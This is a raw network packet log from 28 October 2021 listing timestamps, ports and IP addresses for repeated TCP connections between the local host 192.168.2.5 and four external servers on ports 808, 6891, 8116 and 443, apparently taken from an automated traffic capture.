Oct 28, 2021 04:51:07.697915077 CEST	49768	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:07.705615997 CEST	49768	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:07.825093031 CEST	49770	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:07.865123987 CEST	808	49768	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:07.973685026 CEST	6891	49769	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:07.973721027 CEST	6891	49769	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:07.973839045 CEST	49769	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:07.973870039 CEST	49769	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:07.976058960 CEST	49769	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:07.991770983 CEST	6891	49770	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:07.991903067 CEST	49770	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:07.992599964 CEST	49770	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:08.142576933 CEST	6891	49769	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:08.158909082 CEST	6891	49770	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:08.158931017 CEST	6891	49770	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:08.159756899 CEST	49771	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:08.159809113 CEST	49770	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:08.160829067 CEST	49770	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:08.165798903 CEST	49770	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:08.165920973 CEST	49770	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:08.213308096 CEST	8116	49771	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:08.213426113 CEST	49771	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:08.214018106 CEST	49771	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:08.267251968 CEST	8116	49771	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:08.267556906 CEST	8116	49771	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:08.267658949 CEST	49771	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:08.268241882 CEST	49771	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:08.273756981 CEST	49771	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:08.273840904 CEST	49771	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:08.327161074 CEST	8116	49771	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:08.327728987 CEST	8116	49771	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:08.332164049 CEST	6891	49770	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:08.332195044 CEST	6891	49770	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:08.497178078 CEST	8116	49771	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:08.497206926 CEST	8116	49771	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:08.497261047 CEST	49771	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:08.497307062 CEST	49771	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:08.499972105 CEST	49771	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:08.553548098 CEST	8116	49771	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:08.690860987 CEST	49772	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:08.690905094 CEST	443	49772	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:08.691117048 CEST	49772	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:08.691912889 CEST	49772	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:08.691926003 CEST	443	49772	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:08.709805012 CEST	6891	49770	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:08.709830999 CEST	6891	49770	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:08.709894896 CEST	49770	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:08.719362020 CEST	49770	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:08.838844061 CEST	49773	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:08.885701895 CEST	6891	49770	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:08.894989967 CEST	8116	49773	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:08.896887064 CEST	49773	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:08.897173882 CEST	49773	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:08.953079939 CEST	8116	49773	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:08.953304052 CEST	8116	49773	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:08.953711033 CEST	49773	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:08.954413891 CEST	49773	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:08.959455967 CEST	49773	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:08.959526062 CEST	49773	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:09.015340090 CEST	8116	49773	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:09.016104937 CEST	8116	49773	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:09.186134100 CEST	8116	49773	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:09.186178923 CEST	8116	49773	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:09.186269999 CEST	49773	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:09.186288118 CEST	49773	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:09.198394060 CEST	49773	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:09.213078976 CEST	443	49772	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:09.213243961 CEST	49772	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:09.213972092 CEST	49772	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:09.213984966 CEST	443	49772	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:09.220662117 CEST	49772	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:09.220679998 CEST	443	49772	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:09.220839977 CEST	49772	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:09.220866919 CEST	443	49772	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:09.254404068 CEST	8116	49773	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:09.318324089 CEST	49774	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:09.318372011 CEST	443	49774	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:09.318955898 CEST	49774	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:09.318983078 CEST	49774	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:09.318989992 CEST	443	49774	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:09.810564995 CEST	443	49774	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:09.810651064 CEST	49774	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:09.811446905 CEST	49774	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:09.811458111 CEST	443	49774	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:09.817867994 CEST	49774	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:09.817886114 CEST	443	49774	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:09.818073988 CEST	49774	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:09.818084002 CEST	443	49774	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:09.938138962 CEST	443	49772	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:09.938214064 CEST	443	49772	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:09.938282967 CEST	49772	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:09.938325882 CEST	49772	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:09.941879988 CEST	49772	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:09.941905975 CEST	443	49772	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:10.112745047 CEST	49775	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:10.270859957 CEST	808	49775	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:10.271253109 CEST	49775	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:10.271964073 CEST	49775	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:10.429981947 CEST	808	49775	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:10.430088997 CEST	808	49775	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:10.430161953 CEST	49775	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:10.431082964 CEST	49775	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:10.436640978 CEST	49775	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:10.436789036 CEST	49775	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:10.506048918 CEST	443	49774	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:10.506134987 CEST	443	49774	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:10.506155968 CEST	49774	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:10.506230116 CEST	49774	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:10.515633106 CEST	49774	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:10.515676975 CEST	443	49774	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:10.589051008 CEST	808	49775	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:10.594682932 CEST	808	49775	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:10.594707012 CEST	808	49775	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:10.594713926 CEST	808	49775	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:10.631318092 CEST	49776	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:10.796428919 CEST	808	49776	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:10.796562910 CEST	49776	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:10.797178984 CEST	49776	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:10.962256908 CEST	808	49776	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:10.962378979 CEST	808	49776	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:10.962440968 CEST	49776	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:10.964788914 CEST	49776	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:10.970477104 CEST	49776	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:10.970622063 CEST	49776	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:10.984725952 CEST	808	49775	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:10.984755993 CEST	808	49775	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:10.984954119 CEST	49775	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:10.988157988 CEST	49775	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:11.128885031 CEST	49777	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:11.131237030 CEST	808	49776	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:11.136368990 CEST	808	49776	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:11.136398077 CEST	808	49776	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:11.136404991 CEST	808	49776	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:11.136415958 CEST	808	49776	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:11.146878004 CEST	808	49775	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:11.295207024 CEST	6891	49777	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:11.295455933 CEST	49777	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:11.296437979 CEST	49777	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:11.462662935 CEST	6891	49777	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:11.462733984 CEST	6891	49777	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:11.462847948 CEST	49777	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:11.463421106 CEST	49777	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:11.468786955 CEST	49777	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:11.468967915 CEST	49777	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:11.520064116 CEST	808	49776	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:11.520092964 CEST	808	49776	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:11.520205021 CEST	49776	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:11.520241976 CEST	49776	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:11.527980089 CEST	49776	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:11.635133982 CEST	6891	49777	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:11.635162115 CEST	6891	49777	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:11.675698996 CEST	49778	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:11.692996025 CEST	808	49776	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:11.842056990 CEST	6891	49778	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:11.842279911 CEST	49778	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:11.843347073 CEST	49778	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:12.009663105 CEST	6891	49778	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:12.009763002 CEST	6891	49778	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:12.009843111 CEST	49778	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:12.010381937 CEST	49778	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:12.012329102 CEST	6891	49777	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:12.012351990 CEST	6891	49777	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:12.012438059 CEST	49777	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:12.015867949 CEST	49778	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:12.016021967 CEST	49778	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:12.016661882 CEST	49777	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:12.182271004 CEST	6891	49778	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:12.182296038 CEST	6891	49778	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:12.182796001 CEST	6891	49777	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:12.227575064 CEST	49779	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:12.281543016 CEST	8116	49779	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:12.281677961 CEST	49779	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:12.282291889 CEST	49779	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:12.335959911 CEST	8116	49779	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:12.336350918 CEST	8116	49779	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:12.336421967 CEST	49779	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:12.336991072 CEST	49779	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:12.341675043 CEST	49779	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:12.341825008 CEST	49779	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:12.395628929 CEST	8116	49779	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:12.396090031 CEST	8116	49779	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:12.577080011 CEST	6891	49778	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:12.577135086 CEST	6891	49778	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:12.577183008 CEST	49778	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:12.577215910 CEST	49778	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:12.583322048 CEST	8116	49779	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:12.583370924 CEST	8116	49779	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:12.583425999 CEST	49779	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:12.583460093 CEST	49779	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:12.585382938 CEST	49778	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:12.586263895 CEST	49779	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:12.639946938 CEST	8116	49779	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:12.712196112 CEST	49780	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:12.752446890 CEST	6891	49778	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:12.755789995 CEST	49781	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:12.755852938 CEST	443	49781	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:12.756019115 CEST	49781	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:12.756758928 CEST	49781	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:12.756783962 CEST	443	49781	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:12.767576933 CEST	8116	49780	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:12.767724991 CEST	49780	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:12.768465042 CEST	49780	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:12.821598053 CEST	8116	49780	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:12.822783947 CEST	8116	49780	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:12.824807882 CEST	49780	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:12.825372934 CEST	49780	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:12.830790997 CEST	49780	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:12.830919981 CEST	49780	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:12.885307074 CEST	8116	49780	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:13.067807913 CEST	8116	49780	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:13.067840099 CEST	8116	49780	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:13.068011045 CEST	49780	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:13.075279951 CEST	49780	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:13.126827955 CEST	8116	49780	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:13.194206953 CEST	49782	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:13.194250107 CEST	443	49782	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:13.194334030 CEST	49782	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:13.194948912 CEST	49782	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:13.194964886 CEST	443	49782	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:13.279633045 CEST	443	49781	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:13.279742956 CEST	49781	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:13.354417086 CEST	49781	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:13.354448080 CEST	443	49781	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:13.365129948 CEST	49781	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:13.365155935 CEST	443	49781	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:13.365845919 CEST	49781	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:13.365871906 CEST	443	49781	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:13.709980965 CEST	443	49782	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:13.710176945 CEST	49782	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:13.710973024 CEST	49782	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:13.710992098 CEST	443	49782	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:13.717751026 CEST	49782	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:13.717776060 CEST	443	49782	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:13.717866898 CEST	49782	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:13.717876911 CEST	443	49782	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:14.071042061 CEST	443	49781	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:14.071125031 CEST	443	49781	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:14.071199894 CEST	49781	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:14.071228981 CEST	49781	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:14.074640989 CEST	49781	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:14.074687004 CEST	443	49781	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:14.238006115 CEST	49783	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:14.401009083 CEST	808	49783	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:14.401206970 CEST	49783	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:14.402012110 CEST	49783	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:14.424834967 CEST	443	49782	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:14.424922943 CEST	443	49782	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:14.425003052 CEST	49782	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:14.425025940 CEST	49782	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:14.431307077 CEST	49782	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:14.431343079 CEST	443	49782	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:14.553514004 CEST	49784	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:14.564889908 CEST	808	49783	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:14.564923048 CEST	808	49783	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:14.565012932 CEST	49783	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:14.565517902 CEST	49783	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:14.570261002 CEST	49783	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:14.570363045 CEST	49783	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:14.724420071 CEST	808	49784	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:14.724579096 CEST	49784	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:14.725272894 CEST	49784	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:14.728262901 CEST	808	49783	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:14.733299971 CEST	808	49783	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:14.733325958 CEST	808	49783	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:14.733333111 CEST	808	49783	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:14.733340025 CEST	808	49783	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:14.733658075 CEST	808	49783	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:14.896133900 CEST	808	49784	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:14.896173000 CEST	808	49784	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:14.896249056 CEST	49784	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:14.896754980 CEST	49784	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:14.901891947 CEST	49784	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:14.901994944 CEST	49784	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:15.067533016 CEST	808	49784	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:15.073259115 CEST	808	49784	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:15.073295116 CEST	808	49784	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:15.073316097 CEST	808	49784	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:15.118906021 CEST	808	49783	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:15.118947029 CEST	808	49783	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:15.119040966 CEST	49783	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:15.119081974 CEST	49783	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:15.122078896 CEST	49783	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:15.269994974 CEST	49785	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:15.285039902 CEST	808	49783	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:15.435211897 CEST	6891	49785	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:15.435331106 CEST	49785	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:15.436083078 CEST	49785	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:15.449944973 CEST	808	49784	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:15.449974060 CEST	808	49784	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:15.450073957 CEST	49784	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:15.459453106 CEST	49784	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:15.587376118 CEST	49786	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:15.601279974 CEST	6891	49785	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:15.601396084 CEST	6891	49785	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:15.601483107 CEST	49785	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:15.602045059 CEST	49785	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:15.607021093 CEST	49785	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:15.607167959 CEST	49785	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:15.630384922 CEST	808	49784	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:15.753679037 CEST	6891	49786	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:15.753922939 CEST	49786	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:15.755004883 CEST	49786	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:15.772293091 CEST	6891	49785	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:15.772314072 CEST	6891	49785	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:15.810240984 CEST	6891	49785	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:15.921195030 CEST	6891	49786	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:15.921266079 CEST	6891	49786	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:15.921453953 CEST	49786	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:15.921983957 CEST	49786	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:15.926747084 CEST	49786	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:15.926841974 CEST	49786	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:16.093066931 CEST	6891	49786	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:16.130161047 CEST	6891	49786	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:16.156562090 CEST	6891	49785	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:16.156582117 CEST	6891	49785	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:16.157128096 CEST	49785	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:16.160125017 CEST	49785	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:16.284394026 CEST	49787	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:16.326935053 CEST	6891	49785	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:16.337568045 CEST	8116	49787	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:16.337738037 CEST	49787	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:16.338701963 CEST	49787	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:16.391731024 CEST	8116	49787	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:16.391891956 CEST	8116	49787	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:16.391973019 CEST	49787	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:16.392493010 CEST	49787	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:16.397661924 CEST	49787	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:16.397820950 CEST	49787	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:16.450809956 CEST	8116	49787	185.56.219.47	192.168.2.5
